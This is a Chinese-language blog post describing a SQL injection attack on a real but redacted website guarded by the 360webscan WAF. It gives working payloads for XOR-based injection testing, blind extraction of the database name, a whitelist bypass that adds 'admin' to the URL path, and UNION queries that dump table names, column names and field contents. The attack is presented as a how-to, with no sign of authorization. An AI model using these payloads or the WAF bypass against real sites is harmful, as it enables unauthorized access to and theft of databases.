前言
今天测试了一个网站,发现存在360webscan的拦截,于是便开始了一波“bypass”。
进入主题
1. 判断注入点
使用“and 1=1”测试了一下,惨遭拦截。随后又测试了一下or也是被拦截的。
但是按位异或运算(^)未被拦截也可以使用xor。
“按位异或运算”测试:
在这里先介绍下“按位异或运算”,这种测试注入点的方法最开始是看一位大佬发过,原谅我已经找不到这位大佬的文章了。但是这位大佬并未解释使用这种方法的具体原理是什么,下面我给大家简单介绍一下按位异或运算使用的基本规则:
1^1=0
1^0=1
0^0=0
具体原理参考:https://blog.csdn.net/zpy1998zpy/article/details/80667775
栗子:
在这里我们对我们的网站进行测试:
页面正常payload:xxxnid=216^(1=1)^1
3. 使用“按位异或运算”判断一下当前数据库名称的长度:
Payload:xxxnid=216^(1=(if(1=(length(database())=1 ),1,0)))^1
然后我们打开bp,将抓取到的数据包发送到intruder模块,然后把数据库长度值设置为变量。
payload type设置为numbers遍历1-15这15个数字。
最终我们得到数据库字段的长度为13。
4. 使用“按位异或运算”结合盲注来获取数据库名称:
这里我们使用的是regexp正则注入,简单介绍一下:
用法:select user() regexp ‘^[a-z]’;
这里是在匹配用户名的第一位:
继续匹配第二位的用法:select user() regexp ‘^r[a-z]’;
类似的盲注方法还有like匹配注入、left()函数、mid()函数、substr()函数等等。
构造Payload:xxxnid=216^(1=if(((database())regexp '^a ' ),1,0))^1
在这里我们将从数据库的第一个字段开始进行盲注。
这里我们使用字典来爆破字段名称,我们指定的字典内容包括常用的大小写字母、特殊符号、数字等。在这里的时候我遇到了个坑,我使用的字典里没加入数字,但是数据库名称里包含数字,导致我爆破到第三个参数的时候就没有结果了,最后发现字典里没把数字加进去,真的是贼菜。
爆破出数据库的第一个参数是“p”。
依次爆破,最终我们得到了数据库名称。
5. 接下来就是构造获取表名的payload了。
我们使用left()函数进行构造,先来看一个的栗子:
select left((select table_name frominformation_schema.tables where table_schema='test' limit 0,1),1)='u';
由此我们可以构造payload为:
xxxnid=216^(1=left((select table_namefrom information_schema.tables where table_schema=database() limit0,1),1)='u')^1
事情并不是一帆风顺的,360webscan再次拦截,经测试,拦截的是from关键字,这就很难受了,测试了很多方法都没有绕过过滤,内联注释、编码、干扰正则等方法都没办法。
将from加上别的字符就不拦截。。
6. 最后还是找到了“楼兰”大佬帮忙。
大佬告诉我,360的webscan是可以绕过的,原来360webscan自己有定义一个白名单,只要URL路径中出现了admin等关键字时候就能绕过检测。
后来大佬又给我推荐了一篇文章,讲的是绕过360webscan的原理,这篇文章讲的真好,附上文章链接:https://www.leavesongs.com/penetration/360webscan-bypass.html。后来我在网上一搜,原来已经有不少前辈研究过这个绕过方法啦,需要学习的东西真的很多,加油!
最后自己也去看了一下360webscan的源码,白名单如下:(代码地址:https://github.com/baiqj/host_manager/tree/master/other/360safe)
再次构造payload:xxx/xxx/admin /?nid=216 union select 1,2,3,4,5,6,7,8 -- -
7. 接下来就好说了,都是常规操作了
这里我们先看一下当前数据库名称,可以看到,和我们之前盲注得到的数据库名称是一致的。
Payload:xxx/xxx/admin/?nid=1union select database(),2,3,4,5,6,7,8 -- -
接下来是爆出所有的表名:
Payload:xxx/xxx/admin/?nid=1 unionselect group_concat(table_name),2,3,4,5,6,7,8 from information_schema.tableswhere table_schema=database() -- -
爆出所有字段名称:
Payload:xxx/xxx/admin/?nid=1union select group_concat(column_name),2,3,4,5,6,7,8 frominformation_schema.columns where table_name='表名' -- -
爆字段内容:
Payload:xxx/xxx/admin/?nid=1union select group_concat(字段1),group_concat(字段2),3,4,5,6,7,8 from 表名 -- -
总结
1. 使用“按位异或运算”来判断注入点,绕过一些过滤了and、or等一些关键字的waf,真的是非常不错的姿势。
2. 我们在一个页面找不到可显字段的时候,可以换几个页面试一下,也可以将前面参数id值改为负,这样都可以让可显字段回显到页面上。
3. 最后一点,就是最后通过在路径中添加白名单关键字“admin”绕过网站的防护,这个思路真的非常棒。
- 上一篇:自动化反弹Shell防御技术
- 下一篇:PHP自动化白盒审计技术与实现
猜你还喜欢
- 07-08八年专业安全团队承接渗透入侵维护服务
- 08-06SQLMAP的注入命令以及使用方法
- 08-03白帽故事汇:网络安全战士从来不是「男生」的专利
- 07-27编辑器漏洞手册
- 07-12web安全之如何全面发现系统后台
- 02-22常见Web源码泄露总结
- 07-25网站后台登陆万能密码
- 07-23破解emlog收费模板“Begin”
- 01-12批量检测SQL注入
- 01-22Apache Solr远程代码执行漏洞(CVE-2017-12629)从利用到入侵检测
- 随机文章
-
- 利用DNS隧道构建隐蔽C&C信道
- PTF:一款多模块渗透测试框架
- 未授权访问漏洞总结
- APT之迂回渗透
- 看我如何用SHerlock跨社交网络查找你的用户名
- SneakyEXE:一款嵌入式UAC绕过工具
- 关于安全体系中WAF的探讨
- 利用Linux文本操作命令ed进行提权
- ARP欺骗绕过Android TV BOX分析
- JShielder:一款自动化Linux服务器安全增强工具
- 浅谈MSF渗透测试
- Ogg音频格式文件的样本构造(CVE-2018-5146)
- 利用CobaltStrike捆绑后门的艺术
- 论Nmap中一些常用的NSE脚本
- Project-Black:渗透中进行Scope控制或扫描和进度追踪的工具
- web.config文件上传技术研究
- 使用Google进行批量SQL注入扫描
- Findomain:一款基于透明日志来搜索子域名的跨平台工具
- 挖洞经验 | 绕过WAF限制利用php:方法实现OOB-XXE漏洞利用
- 用Golang打造一款便携式网络拓扑可视化的工具
- 热门文章
-
- 八年专业安全团队承接渗透入侵维护服务
- Emlog黑客站模板“Milw0rm”发布
- Stuxnet纪录片-零日 Zero.Days (2016)【中文字幕】
- SQLMAP的注入命令以及使用方法
- 白帽故事汇:网络安全战士从来不是「男生」的专利
- 编辑器漏洞手册
- web安全之如何全面发现系统后台
- 常见Web源码泄露总结
- 渗透测试培训(第五期)
- 深入理解JAVA反序列化漏洞
- cmseasy前台无需登录直接获取敏感数据的SQL注入(有POC证明)
- 网站后台登陆万能密码
- 黑麒麟2016渗透培训系列教程
- 破解emlog收费模板“Begin”
- 那些强悍的PHP一句话后门
- Android平台渗透测试套件zANTI v2.5发布(含详细说明)
- 渗透工具BackTrack与KaliLinux全套视频教程
- Python列为黑客应该学的四种编程语言之一 初学者该怎么学
- CVE-2017-11882漏洞复现和利用
- 恶意程序报告在线查询工具
文章存档
- 2021年3月(4)
- 2020年12月(4)
- 2020年11月(5)
- 2020年10月(8)
- 2020年9月(8)
- 2020年8月(20)
- 2020年7月(47)
- 2020年6月(70)
- 2020年5月(41)
- 2020年4月(21)
- 2020年3月(120)
- 2020年2月(26)
- 2019年12月(12)
- 2019年11月(13)
- 2019年10月(17)
- 2019年9月(15)
- 2019年8月(13)
- 2019年7月(15)
- 2019年6月(15)
- 2019年5月(19)
- 2019年4月(23)
- 2019年3月(19)
- 2019年2月(11)
- 2019年1月(29)
- 2018年12月(24)
- 2018年11月(56)
- 2018年10月(79)
- 2018年9月(20)
- 2018年8月(17)
- 2018年7月(16)
- 2018年6月(7)
- 2018年5月(10)
- 2018年3月(6)
- 2018年2月(2)
- 2018年1月(11)
- 2017年11月(18)
- 2017年10月(6)
- 2017年9月(8)
- 2017年8月(7)
- 2017年7月(7)
- 2017年6月(15)
- 2017年5月(30)
- 2017年4月(7)
- 2017年3月(1)
- 2017年2月(4)
- 2017年1月(1)
- 2016年12月(3)
- 2016年11月(7)
- 2016年10月(6)
- 2016年9月(6)
- 2016年8月(102)
- 2016年7月(24)
- 2013年7月(1)
- 文章标签
-